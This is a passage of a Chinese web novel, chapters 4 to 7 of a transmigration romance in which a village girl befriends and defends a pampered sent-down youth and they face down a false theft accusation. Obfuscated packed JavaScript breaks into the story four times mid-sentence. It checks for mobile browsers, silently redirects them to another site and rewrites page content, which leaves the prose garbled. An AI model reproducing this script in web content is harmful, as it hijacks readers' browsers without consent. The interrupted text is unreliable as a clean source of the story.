“你先休息会儿,我去给你倒点水。” 季白青出门后,温淼将整个房间打量一番。 和破旧的知青点不同,季白青家是青砖瓦房,她在家中大概是很受宠爱,房间里的床、桌子、柜子和梳妆台一应俱全,全都是用实木打的,看起来很新。 四月昼夜温差还很大,晚上气温寒凉,床上铺的褥子也是厚实又柔软。 这样一个人,怎么会莫名对她一个陌生知青示好呢? 温淼其实并不相信季白青的说法,哪有人因为一面之缘想和对方做朋友呢? 又不是一见钟情…… 想到这里,温淼一顿,瞬间想起下乡前听她外婆说的上面下来的新通知,同性持证即将合法。 一切疑问好像都有了解释。 季白青对自己一见钟情了? 一想到这,温淼轻轻哼了一声,她和季白青之间的差距太大,怎么想都是不可能在一起的。 季白青还是趁早死心吧。 她躺在柔软的床上,外婆他们寄来的包裹还没到,她昨晚的被褥都薄,她身娇体贵的睡得很不舒服,胡思乱想了一番之后,睡意上涌,没撑住沉重的眼皮,迷迷糊糊在陌生的床上睡了过去。 季白青想着温淼生病,单独做了点清淡的,她爹娘都要干活,会更重口一点。 蒸腊肉要点时间,她回房间看了眼盖着被子睡得脸颊红扑扑又乖乖的温淼,心中有股满足感。 还好她穿进来了,不然温淼该要被男女主他们欺负死了。 等她做完了饭,又去地里转了一圈,看陆延他们几个挑粪挑的一身狼狈、沈念念她们拔杂草拔的欲哭无泪、满头大汗,瞬间开心了。 到了十二点下工,何香月和季伟前后回来。 见桌上几盘菜,何香月有些奇怪。 “怎么一个菜还要做两碗?” 季白青扬起笑,“娘,你不是说要我把温淼带回来给你看吗?我今天把她带回来了,在我屋里呢。” 何香月:…… 季白青没看到何香月一脸无语的表情,等到季伟也回来之后就打了一桶水上来,洗洗手去叫温淼起床。 而温淼从房间出来,看见了何香月和季伟的时候也有些尴尬。 季白青给她介绍:“温淼,这是我爹娘。爹娘,这就是我和你们说的知青朋友。” “季叔、婶子好。”温淼生硬地打了个招呼。 季伟点了点头,倒是何香月和季白青如出一辙的颜控,见她这么漂亮,瞬间瞪大了眼睛,立刻热情招呼,“温淼啊,过来坐,吃饭了。” 温淼坐在了季白青和何香月中间,何香月将季白青打的蛋花汤挪到温淼面前,“听白青说你发烧了,快喝点热乎的,发发汗。” “这么远来我们村,我知道你们不容易,温知青啊,以后有什么事尽管来找我家白青就行,千万不要和她客气!” 何香月本就心肠好,见温淼是个柔柔弱弱的漂亮姑娘,和他们说话的语气也没有任何高傲,瞬间多了不少好感。 温淼听着何香月的念叨,低头的时候,眼中氤氲上几分雾气,鼻腔中也有些酸涩。 她久违地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496225|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感受到了和亲生母亲无异的关心。 正有些难过,季白青突然给她夹了一筷子笋,“这是昨天才扯的,很新鲜,你尝尝。” 温淼不动声色地吸了吸鼻子,轻声道谢。 吃完饭后,季伟很主动的去洗碗,剩三个女人聊着天。 何香月将温淼上下打量一遍,更是觉得怎么看怎么好看,啧啧两声问道: “淼淼,你这么娇滴滴的女孩子,你爹娘怎么舍得你下乡啊?” 何香月很自来熟,连季白青都没有叫过的亲昵称呼她喊得很熟练。 温淼对她反而没那么抵触,“我妈已经去世了,我爸和后妈一起给我继妹找了工作,我没工作,只能下乡了。” 听完后,季白青有些心疼地看着温淼,安慰地揉了揉她的肩头。 何香月心直口快,直接开口大骂:“你这爹不是个好东西!对别人的女儿比对自己的女儿都好,淼淼,以后你也别管他!让他老了之后一个人自生自灭。” 温淼想到了李文宇,眼里闪过一抹厌恶,“怕那个继女也是他的种。” 季白青看着她单薄的身体,又悄悄看了眼何香月,道:“温淼,以后你也可以把这里当家,我爹娘都很喜欢你。” 何香月一愣,也附和道:“对啊,我一看你就觉得亲切,淼淼,别去想你那个爹了,你要是愿意的话,可以把我和我家老头子当成你爹娘。” 温淼咬着唇,看着何香月真诚的眼说不出拒绝的话,只好点头。 她偏过头去,心里有些埋怨季白青,两个人还没有在一起,季白青竟然就想要她将她的爹娘当做是父母了。 被温淼瞪了一眼的季白青摸了摸鼻尖,心里有些痒痒的,觉得温淼那眼神不像是在瞪人,那双漂亮又妩媚的桃花眼像是带着钩子一般在勾人,就连眼下的泪痣也格外灼人。 她好想捏捏温淼的脸,肯定很软。 她们又聊了一会儿,温淼在何香月和季白青面前也放松了不少。 下午还要上工,何香月回房间午睡一会儿。 想着温淼身体还不舒服,季白青催她上床再休息一会儿。 温淼小半张脸埋在被子下,警惕地看着季白青,怕她要上床来和自己一起睡。 季白青被她的小眼神看得心软软,最后还是没忍住上前捏了捏她的脸颊,果然是和自己所想象的一样软。 温淼瞬间睁圆了眼睛,露出来的白皙皮肤上攀上羞恼的红,眉心也拧着,看着不大高兴的模样。 “你掐我!” 季白青神色无辜,露出清浅的笑,“只不过捏捏而已,怎么这么小气?” “好了,乖乖休息一会儿,我不和你一起睡。” 听她这么说,温淼还没完全放心,见她出了房间才散了警惕,慢慢闭上眼睛。 季白青没有午睡的习惯,去自家的菜地里把杂草除了之后又去了山上。 她看温淼很喜欢吃竹笋,便打算多扯一点,最近几天都在下雨,还可以摘木耳。 她也是第一次体会到了养猫人的快感,虽然刚接回来的猫猫对主人还不熟悉,警惕极了,但喂猫的时候见小猫态度好一点就有了一天的快乐。 她想,要好好养温淼才行,把她喂胖一点,抱起来才更舒服。 5. 第 5 章 又留温淼在季家吃了晚饭,季白青就把她送回了知青点。 将人送到地方后,季白青转身想回去,却被温淼叫住。 现在天色昏暗,夜幕格外沉,好在月亮澄澈明亮,月光朦胧撒了下来,落在温淼那张美艳的脸上,越发衬得皮肤莹白,活像一只勾人的精怪。 她咬着唇,语气不大自然,别扭道:“你先跟我进来一下。” 季白青温顺地跟着在她身后,看温淼忽视了其他人,从自己的手提箱里翻翻找找最后找出一个银色手电筒塞到季白青手里。 她有些受宠若惊,第一时间想要拒绝:“温淼,不行,这……太贵重了。” 这年头的电子产品都是紧俏货,后世常见的手电筒此时也要两张工业券和三四块钱,村里也就村长家有个手电筒。 温淼瞪了她一眼,咕哝道:“给你你就收着,现在很晚了,你快回去吧,不要的话丢掉好了!” 说完后,她撇过头去,不再看季白青。 脾气真大。 季白青勾起唇,哄她:“好了,我收着就是了,别生气了,温淼。” “明天见。” 她知道温淼是关心她,她自然也不能那么不知好歹地拒绝。 回到家,何香月看着她手上闪着亮光的手电筒,稀罕地拿着看了看。 “你从哪弄来的?” 季白青如实道:“温淼怕我一个人回来不安全给我的。” “哟,这孩子心真好!” 季白青十分赞同地点了点头,觉得自己终于寻到了知己。 何香月看完之后,她又立马将手电筒拿了回来,十分宝贝地放好。 睡前,季白青还特意让季伟明天和村长提一嘴,给温淼分配一个轻松点的工作,季伟应下了。 有了第一天的警告,第二天上工,知青们提前到了仓库。 签完字后,听到村长让温淼跟着其他女知青一起去除杂草,她眉心瞬间跳了跳。 不动声色地看了眼温淼,对方垂着纤长的睫毛,没有说话。 她吐出一口气,在温淼要上地里前,将煎好的鸡蛋饼塞给她。 粗粮饼,但是煎得焦焦的,一咬下去口齿生香。 等着所有人都登记好后,她才上地里想去看看温淼的情况。 沈念念她们今天被分到了豆角地里,地里的豆角攀爬在竹架上,一根一根绿色长豆角弯弯曲曲地掉下来,长势喜人,同样的,前几天下了雨,现在地里的杂草也不少。 和她们分在一起的还有几个婶子,季白青一眼就看到沈念念和潘红霞和婶子们在一边聊天一边磨洋工,而温淼孤孤单单的一个人在另外一边专注地拔杂草。 今天的天气好,太阳早早地就出来了,到现在这个点已经有些晒人了,温淼白皙的脸颊很快就漫上了一片潮红,看起来有些可怜。 季白青有些心疼,昨天才生病呢,现在又来太阳底下晒着了。 她轻手轻脚走到温淼身边蹲在她身边,“温淼,早饭吃了吗?” 带着温度的气息打在耳垂上,温淼被突然出现的声音吓了一跳,敏感的耳垂也很快红了起来。 她没好气瞪了季白青一眼,眉眼显得越发生动。 “你吓死人了!” 季白青低笑一声,觉得她可爱,用干净的手将她颊边的湿发拨弄到耳后,“对不起。” 她滑跪道歉的速度非常快。 注意到她衣服口袋鼓鼓囊囊的,她低声道:“你先吃早饭,我替你干一会儿活。” 温淼闻言,也没有和她客气,将煎饼拿出来小口吃着。 季白青在一边专注看了一会儿,没有注意到温淼的耳垂慢慢变红,突然想到了什么,将自己的水壶递给温淼。 “泡了枸杞红枣,要是觉得干巴就喝一口。” 温淼接了过去,犹豫一会儿还是问出了口:“你用过吗?” 季白青点了点头,也没觉得有什么不对。 上辈子她见网上那些带着闺蜜tag的视频里,女孩子们的行为都是很亲密的。 手挽手去厕所都是常态,更别说女孩子们还会喝同一杯饮料、分享同一个冰淇淋,少部分关系更亲密的闺蜜将还会亲吻。 季白青有洁癖,也一向独来独往惯了,从来没有和别人做过这么亲密的事。 但现在穿到了书里,想到和自己做这些的对象是温淼的话,她的洁癖仿佛不存在一般,反而期待和她像看到的视频里那样亲密。 温淼听她亲口承认之后,脸颊更是热的不像话。 她眼睫颤颤,纤长的睫毛像是欲飞的蝶翅,羞赧的样子也带着几分无言的撩人,觉得季白青很过分。 哪有人都还没有在一起就要她和对方用一个水杯的?但是如果她不用的话,季白青大概会觉得被落了面子难受吧。 而且鸡蛋饼有些干,她确实渴了。 温淼胡思乱想一番,最后还是拧开盖子,轻轻抿了一口水。 水里大概是加了糖,还有些甜滋滋的。 见她小口喝水的模样,季白青想到了拿舌头舔水喝的小猫,一时间也觉得有些渴,侧过脸去,眯着眼睛看向温淼。 “温淼,给我喝一口,有点渴。” 温淼有些不敢相信自己听到的,“你说什么?” 季白青对她讨好笑了笑,“有点渴~喂我喝一口嘛温淼。” 这两天都是季白青在照顾自己,温淼还是第一次听她用这样撒娇的语气对自己说话,少年气瞬间在清丽的面孔上展露几分。 她愣了好一会儿,才在季白青的催促之下将水壶转了个边儿,抵着她粉色的嘴唇喂她喝下。 两人之间的无言的暧昧氛围并没有维持多久,那边沈念念一边提高声音熟稔地和婶子聊着天,最后没听见温淼的动静,抬头往她那处看了眼。 见温淼不仅没有如她所想的那般被孤立,甚至还吃着看起来分外美味的煎饼、还没有干活后彻底不平衡了。 她猛地站起来,声音拔高,“温淼,你怎么偷懒不干活!” 她这一嗓子可谓是刺破云霄,周边的叔婶听了这话后立马看向了温淼她们,沉默了一瞬,随后立马就有人指着温淼杂七杂八开始讨论起来。 温淼第一时间反应式无措,和季白青对视一眼后,意识到了自己对她下意识的依赖后,立马慌乱地收回视线,眯着眼睛看沈念念,红唇微启。 “沈念念,你和潘红霞还有其他婶子们偷懒我还没说话呢,我只是休息一下吃个早 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496226|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭你就开始狗叫了?” “我做的少,你们做的又多到哪里去?反正我做多少就记多少工分,觉得我做得少给我少记点工分我没意见,但你做那么慢的话……” 温淼看了眼季白青,“记分员,你说呢,是不是要扣工分?” “那些和沈念念一起的婶子也慢,是不是也要扣工分?” 这段时间本来活儿就少,村里每个人心知肚明,在地上磨蹭一天就把工分拿满的事情谁不愿意干? 此时被温淼这么指出来,一时间每个人的脸上都不大好看,连带着看向沈念念她们的眼神都开始不善起来。 季白青站了起来,声音清冽:“温知青没有偷懒,我只是看她没吃早饭所以让她休息,我替她干一会儿活。王婶子,你们觉得不行吗?” 王婶子是和沈念念聊的最来的那个,此时听了季白青的话瞬间点头,连连道:“可以可以!” “那大家继续干手里的活吧。”季白青轻飘飘的话落下后,众人都低下了头,不敢再多话。 王婶子也趁机瞪了沈念念一眼,低声骂道:“就你话多,偏要去找晦气!” 沈念念低着头没说话,脸上怨毒一闪而过,在刺眼的日光下不甚清晰。 季白青给温淼出了一口气后又重新蹲了下去,过了一会儿,温淼也蹲下身,豆角高大繁茂,投下来的影子可以挡住部分日照。 看了眼温淼被晒得潮红的脸,季白青有些心疼,嘀咕道:“早知道给你带一顶帽子来了。” 她的声音小,温淼没有听清楚,侧过耳朵疑惑询问:“怎么了?” 季白青摇了摇头,换了个话题。 “明天让村长把你分到和小孩一起割猪草好不好?比上地里轻松很多,但每天只有三工分。” 上地的工作是八工分往上走,工分是要在年底折算成粮食和钱的。 闻言,温淼眼睛一亮,小声道:“可以吗?” 她家境优越,外婆还曾是跟过开国元勋的秘书,如果不是中了渣爹李文宇他们的奸计,肯定不会下乡来受罪,现在自然也看不上每天那点公分。 季白青被她亮晶晶的眼神看的心都化了,连声音都在不自觉中轻软了几分,“当然可以。” 要不是手上是脏兮兮的泥巴,她都想要伸手去捏捏温淼的脸颊了。 上次的触感她还记得,很软。 中午照例是去的季白青家吃的午,这次去之前,温淼回知青点拿了点东西。 要出去的时候刚好碰到了裸着上半身回来的方海洋等人。 他们今天也是去挑粪,温淼老远就闻到了那股臭味,蹙眉捏住鼻尖,看向他们的桃花眼中满是嫌弃。 陆延见状,有些窘迫,又觉得恼怒,冷嗤一声后道: “别以为你这样欲擒故纵我就会喜欢上你,长得好看但没用的女人我看都不想看一眼。” 方海洋和吴严青在他的背后抱胸看着热闹。 温淼停了他这话之后脸色越发难看,捏着鼻尖闷声闷气,感觉莫名其妙:“我也看不上一身臭味的男人,不知道的还以为你们掉粪坑里去了呢!” 说完,三个人的脸色顿时都不太好看。 这女人怎么知道他们今天脚滑跌进了粪坑?! 6. 第 6 章 温淼见他们脸色又难看了几分,却没有反驳,也知道是她随口一句猜测成了真。 顿时脸上嫌弃的神色更明显了,捏着鼻子又毫不犹豫地往后退了几步。 方海洋和吴严青在家也是干过脏活累活的人,对此的接受程度要好上一些。 而陆延家境优越,哪里遭遇过这样的事情。 如果不是吴严青滑下去的时候非要拉上他一把……想到这,陆延狠狠瞪了他一眼,脸色铁青。 吴严青被他那么一看,脸上顿时多了几分谄媚,尴尬道:“延哥,我真不是故意的,您大人有大量就原谅我吧!” 几个人还和木头桩子一样堵在门口,温淼的眉眼逐渐漫上了几分不耐烦。 “好狗不挡道,进不进来,不进来就快让开,我要出去。” 闻言,陆延下意识带着其他两个人往一边挪了挪。 温淼紧紧蹙着眉心与他们错身,所过之处留下馥郁的馨香,看着她窈窕的背影,陆延眼里闪过不屑和得意。 表现得对他再嫌弃又怎么样,还不是欲擒故纵也想要引起他的注意?甚至还故意擦了香膏引诱。 温淼自然也不知道陆延这个男人有多能脑补,中午的日光耀目,刺得人眼睛都睁不开。 她最是怕热,平日很讨厌这样炎热的天气,但此时用手挡着部分日照,去往季白青家的路上,她却觉得心情不错。 去季白青家的路走了一半,她碰上了季白青,顿时有些意外。 季白青将一顶草帽扣在她的头上,遮挡住灼人的日光,笑眯眯解释:“我担心你,所以出来看看。” 见她愣怔地摸着草帽边沿的模样又觉得可爱,“放心,这草帽是我的,我刚才已经洗过一遍了,可没有汗臭味。” 听着她嘀嘀咕咕的话,温淼突然间觉得心微微塌陷一处,伸出手轻轻攥住她的衣摆,已然是有些依赖的姿态,但语气还是带着几分娇蛮:“洗了我也嫌弃……而且这么短的距离我能够出什么事啊。” 季白青弯腰,看着宽大帽檐下那张娇艳漂亮的脸蛋,哪里有嫌弃的样子? 她耸了耸肩,反而是将帽子往下压了压,笑吟吟道:“嫌弃也要戴着,太阳太毒了。” “这么短的距离也担心你啊,你就当我是想你了。” 她这话说得情深意切,跟表白似的,明明有了草帽的遮挡,温淼的脸颊已经不热了,但是那抹殷红却迟迟没有褪下去,心跳也微微加快。 好在那句话过后,季白青就没再逗她,只是偶尔和熟识的村民打个招呼。 原本手里拎着的东西早就被她接过去了,到了她家,温淼才将那些东西打开。 尽是一些酥饼和糕点,温淼下乡时外婆和小姨她们为她准备的。 “季白青。”温淼叫了她一声,季白青有些疑惑地看向她,接着一块绿豆糕被抵到她的唇边。 季白青弯起眼睛,咬下一口,舌尖在无意之下舔过温淼捏着糕点的指尖,将她的指尖濡湿。 温淼的心瞬间一跳,将剩下半块糕点塞进季白青的手里,胡乱道:“你自己拿着!” 季白青的声音清凌凌的,和她靠得极尽,“淼淼,谢谢你~” 温淼觉得自己的耳垂更热了,恼怒道:“不许叫我淼淼!” 除了长辈,还从来没有人这样叫过她。 季白青本来就对她有那样的想法,怎么、怎么能轻易叫让她这么叫! 季白青看她羞恼的模样,越发觉得欺负她好玩,恶劣的心思更甚,亲昵的称呼贴在她耳边唤了一次又一次。 温淼被她叫得琥珀色的眼睛溢满了水光,最后用手捂住了她的嘴,她才肯消停下来。 “不许叫了!”她加重声音,眼周桃红漫开,紧紧抿着唇。 季白青还能感受到捂着她的嘴的手是多么柔嫩,恶毒女配连手都是香的,馥郁的女人香晃晃悠悠地萦绕在她的鼻尖。 她乖乖点头,温淼才半信半疑地放开她。 两人闹了好一会儿,那边季伟和何香月做好了饭,将菜端上桌。 看到桌上打开的几大袋糕点,何香月有些惊讶,“哪来的这么多糕饼?” 温淼:“何婶,这是我从京市带来的,味道还不错,带给你们尝尝。” 这年头都是求温饱,吃颗糖都是奢侈,虽然何香月他们家的条件已经不错了,但那些光是看起来就昂贵的点心还是舍不得买的。 见着温淼一次性拿着这么多过来,顿时推拒,“这怎么行!这么好的东西,你留着自己吃!乖!” 季白青在一边点头,“是啊,我们村里买不到这些零嘴,你饿了的时候吃,不用想着我们。” 这人还在这里乱说!温淼瞪她一眼,又转身和何香月解释:“何婶,你们对我那么照顾我才想带给你们尝尝的,如果不收的话,我以后都不好意思麻烦你们了。” 被恶毒女配瞪了一眼的某人摸了摸鼻尖,最后倒戈,“娘,你就收下吧,是淼淼的一片好心。” 季白青叫叠字都叫顺口了。 何香月说不过她们,最后只能收下了,将糕点放进了缸里。 下午上工,村长重新给每个人都分配出来一块地,每个人都要干完下自己分配到的那块地的活儿。 季白青没事就去温淼的那块地上帮忙,她力气大,手脚利索,很快就将杂草除完,温淼没多久就可以去休息了。 离开前,她还特意带着温淼去沈念念和潘红霞的地方转了转,沈念念此时正在埋头苦干,到底是没干过农活的人,速度还是慢,反到是潘红霞看起来已经适应了不少,还剩小半地方。 总归下午没活了,想到温淼在原书中对男主的滤镜,季白青微微磨了磨牙,决定带她去看看陆延他们挑粪的“英姿”。 季白青拉着温淼的手就走,温淼乖乖跟在她身后。 堆肥的粪除了牛粪外,其他都是从村里公共旱厕的里挑出来的。 她拉着温淼站在一边远远地看着,还装作不经意地指着陆延,问她: “温淼,你觉得陆知青好看吗?” 听她对自己的称呼恢复,温淼松了一口气,但听着她的话又有些不高兴。 难不成季白青对陆延有意思?明明……想要和自己朋友,还要喜欢别的男人。 她抿住唇不大高兴,毫不犹豫回答:“丑。” 听了她这话,季白青还是没能放心,又多问了一句:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496227|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你不觉得陆知青的身材很好吗?” 作为小说男主,陆延的人品怎么样暂且不说,但长相和身材确实是没有什么可挑剔的。 温淼恼了,“难不成你喜欢陆延?问来问去烦死了!” 啧,这脾气怎么这么坏。 季白青抓着她细瘦的手腕,语气无奈,“怎么就生气了?我不问就是了。” 说完,她牵着温淼想要离开,但温淼站在原地板着一张脸漂亮脸蛋纹丝不动。 季白青耐心地问:“大小姐,你这是怎么了?又生什么气呢?” 温淼甩开她的手,质问道:“你喜欢陆延?” 季白青听了这话差点没吐出来。 “……不喜欢。” 书里男主是多么霸道且油腻,季白青暂且不提,但可以明确的是,她大概是个性冷淡,对男对女都没有那种心思。 温淼听了她的回答还有些不满意,“那你问这么多,还特意带着我来看他干什么?” “我这不是听村子里的姑娘都在说他长得俊,现在一看也就那样,温淼,你千万不要看上这种男人,感觉看着就不靠谱!”季白青言之凿凿。 原来是这样吗?温淼看着季白青不像撒谎,心情好了不少。 她看着季白青那张不笑时略显冷淡的脸,冷不丁说了一句: “季白青,我答应和你做朋友了。” 季白青有些茫然,“嗯?” 温淼垂着眼,秾丽的脸还带着点别扭情绪,不再重复已经说过的话,只是强调:“只是朋友而已!” 季白青别想这么快就能够追到她!两个女人、两个人女人怎么能在一起呢! 温淼这话还没有说完,就被季白青拉着往后山上跑。 她什么都没来得及问出口,气喘吁吁地被季白青带到山脚,脱了鞋淌过一条小溪,再往里走就到了一片平整的草地。 地上开满了细碎的紫粉色野花。 温淼胸口起伏,还来不及喘一口气,就被季白青环抱住腰肢,连着转了几个圈。 最后两个人一起倒在草地上,看着绿树浓荫,季白青突然开口:“温淼,我好高兴。” 温淼侧过脸去,看着季白青,她漫不经心地想,季白青是在高兴什么呢? “我很高兴能被你接受,成为你的朋友。” 像是听见了女人的心声一般,季白青给出了解释。 温淼干脆侧过身去,直接压住手臂,犹豫半晌还是将心里的疑惑问出了口。 “你为什么要和我做朋友?从小到大都没有人愿意主动和我做朋友。” 当然也有例外,不过那是因为对方有求于她。 “你是想要我给你做什么吗?钱还是……”她的人? 只是话还没说完,就被季白青打断。 “温淼,你很好,长得漂亮,脾气也不坏,其实熟了之后还挺可爱的。” 一说完,她的手腕立马被温淼咬了一口,不太疼,但还是留下了一个秀气的牙印,女人瞪圆了那双上挑的桃花眼,对她怒目而视。 “你才可爱呢!不许说我可爱!” 好吧,脾气好像确实有点坏,季白青心想。 7. 第 7 章 季白青盯着手腕上的牙印看了几秒,露出个浅笑。 “温淼,我只是想和你做朋友而已,”她抬头望天,继续道,“我很喜欢你的性格,但要我具体说什么我也说不清。” 温淼听了她的话,反而觉得有点茫然。 如果说季白青是因为她的长相而对她有好感,温淼还可以理解,毕竟自己的外貌出众,没几个人能比得上。 但是说到她身上的什么优秀品质,温淼却难以找出来什么好的。 季白青不过是和她相处了两三日而已,怎么看到她的好的? 实在是想不到,温淼决定不想了,从草坪上坐了起来,离季白青的距离远了一些。 她换了个话题,问:“怎么会想到带我来这里?” 季白青弯唇,“你觉得这里好看吗?” 温淼挑剔地打量了一圈,最后矜持地点了点下巴,“还行。” “这里算是我的秘密基地,如果有不开心的时候,我就会来这里,躺在树下睡一觉,或者单纯的发呆,之后心情就会好很多。”季白青解释的时候,黑眸明亮,唇角的弧度一直没有落下来。 能看出来她是真的很喜欢这里。 温淼喜欢各式各样的花,闻言有些想自己家院子里种的蔷薇。 “我家院子里满院子种的都是蔷薇,粉色的海棠蔷薇你见过吗?开花的时候整个院子都是粉色的,很香,也很漂亮。” 明明刚到云水村没多久,温淼却有些想那个自己从小居住到大的院子了。 听她这么说,季白青凑到了温淼的肩头,像是小狗一样耸着鼻尖,嗅她身上的味道。 温淼被她越界的动作逼得身体下意识往后倾倒,顿时有些恼了,“季白青,你干什么!” 季白青无辜地眨了眨眼,“我只是在闻你身上有不有海棠蔷薇的味道而已。” “刚才一闻,你身上的香味果然带着蔷薇花的香。” 温淼面上的绯色还未褪去,伸手将她推远了一些,警告道:“不许得寸进尺突然离我这么近!” 见人又快要生气了,季白青只能乖乖点头。 没办法,虽然她和期待和温淼亲近的更多一些,但是恶毒女配温小姐显然是个很有分寸感的人,想要更近一步只能等着相处的时间再长一些。 这边的空气实在是清新,溪水叮咚的流动声音和麻雀叽叽喳喳的叫声交织在一起,确实很适合放空思绪。 季白青不动声色去看温淼,对方在这样的环境之下流露出本来的性格,侧脸平静温和,显得平易近人了一些。 两人在草地上呆了一会儿,见快到下工的时间,季白青将温淼拉起来,两人一同回去。 明明还是和以前别无二致的相处模式,但季白青可以感受到,两人的心好像靠近了一些。 吃完了晚饭,季白青照例送温淼回知青点。 还没等她走多远,突然听见知青点开始争执起来。 季白青眉心一皱,连忙折身回去,怕温淼又受到欺负。 大步流星走到知青点后,果然看到五个人将温淼堵住,脸色极差。 季白青快步上前,将温淼拉进怀里护着,冷声道:“你们干什么?!” 沈念念见又是季白青,神色扭曲一瞬,刚想说些什么,陆延却先一步开口。 “温淼,我真没想到大家都是京市来的,就你手脚那么不干净!” 季白青看他那张脸就怒火中烧,“说你爹呢!你有什么证据说人家手脚不干净,我还说你是卖屁股的!” 虽然陆延听不懂卖屁股是什么意思,但总归是难听的话,一时间脸色阴沉下来。 温淼从季白青的怀里抬起头,转过身去,冷眼看着他们。 “你们说我拿了沈念念的手表,那你们就找出证据来,不要一张嘴就是在喷粪。” 沈念念眼眶发红,“温淼,我求你了,你把我的手表给我行吗?那是我攒了两年多的钱才买下来的……” 温淼直勾勾地看着她,平日那双妩媚的眼此时冒着冷光,“我说了没拿就是没拿,你爱信不信。” 潘红霞在后面弱弱说了一声,“一直吵下去也不是办法,看看温淼的行李里有不有念念的表就行了。” 方海洋眼珠子提溜一转,赞成道:“好办法!” 季白青看着面前的五个人,几乎要被气笑。 “如果东西不是温淼拿的该怎么办?” 陆延气急,“别为她找借口了,肯定是这个爱慕虚荣的女人拿的!” 他看温淼每天都打扮的那么好看,一身上下每天都不带重样的,正经人家哪里有这么好的条件?由此可见她肯定是个水性杨花又爱慕虚荣的女人。 意识到怀里的人呼吸速度加快,季白青安抚性地摸摸她的手背,看她稍微平复下来后才开口: “这样吧,如果温淼没拿沈念念的东西的话,你们都给她道歉,写五百字的道歉书去广播站念。” “至于你……”季白青冷冷地看着陆延,“你直接给温淼跪下,说你满嘴喷粪,你错了。” 听着这话,原本满心愤怒的温淼没忍住勾起了唇,轻轻挠了挠季白青的手心。 陆延听得手臂青筋暴起,“凭什么我和他们不一样?” 季白青:“就凭你嘴臭。” 在翻温淼行李之前,季白青特意去找了村长他媳妇王大娘做见证,季白青将温淼的东西翻了一遍后,冷淡道: “没有沈念念的表。” 女知青的房间,男知青不好进去,但沈念念和潘红霞都是在一边看着的。 陆延脸色难看,“谁知道温淼是不是把手表藏起来了!” 季白青没理他,反而是将其他几个人神色各异的画面尽收眼帘。 “既然东西丢了,那可能还在屋子里,每个人的行李都搜查一遍吧。” 吴严青黑着脸,“男人的房间你们女人怎么能进去!” 季白青和王大娘相互对视一样,“那就从吴严青的行李开始搜。” 最后沈念念那块女士手表找到了,在吴严青的箱子里。 当沈念念红着眼眶看向他的时候,吴严青还在嘴硬。 “我、我在地上捡到的东西,谁知道是你的!别人丢掉的东西我捡到不就是我的了!” 方海洋在一边劝道:“哎呀,都是知青,相互包容一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496228|170205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,念念,温淼,你们不要那么计较。” “你们污蔑温淼的时候可不是这么说的。”季白青牵着温淼的手,慢悠悠插了一句。 沈念念撇过头去,抓着自己的手表不说话。 季白青转头看向陆延,笑眯眯道:“陆知青,该你道歉的时候了。” 陆延当着众人的面,一拳打在了墙面上,本就不平整的泥胚簌簌往下掉渣。 他低吼:“季白青、温淼,你们不要逼我!” 季白青的脸色彻底冷了下来,松开温淼的手,上前一步,揉了揉自己的手腕。 “所以……你是想赖账?”她的声音冷的不像话。 看着对峙的二人,温淼有些担心身形纤瘦的季白青吃亏,但还是站在原地没有动。 虽然才相处几天时间,但她莫名就觉得,季白青不是会逞强的人。 她敢和陆延对峙自然是有她的底气。 陆延看着矮自己一个头的女人,不屑地笑了声。 还没等他说话,一拳直接落在了他的下上巴,看着纤瘦的女人力气却大的不像话,将他的脸打歪到一边。 “你!” 他一开口,想要还手却被季白青轻易桎梏,重重的一拳立马又落在他的脸颊,擦过高挺的鼻梁,两汪红艳艳的鼻血瞬间流出来。 他捂着脸,后退几步,一脸吃痛。 这、季白青到底是什么怪物!力气居然那么大! 看着狼狈的陆延,在场几个人都目瞪口呆,就连温淼也有些惊讶,红唇微微张开,觉得不可思议。 只有王大娘一脸见怪不怪的模样,刚才还顺手将几个姑娘往后提溜几步。 季白青看着陆延,慢条斯理地将长袖挽上去,露出结实的小臂。 “现在可以道歉了吗?” 陆延此时有些后悔,早知道刚才就不逞口舌之快了。 他捂着鼻子,眼神怨毒,“对,对不起!” 说到一半,他的骄傲不允许他继续说下去。 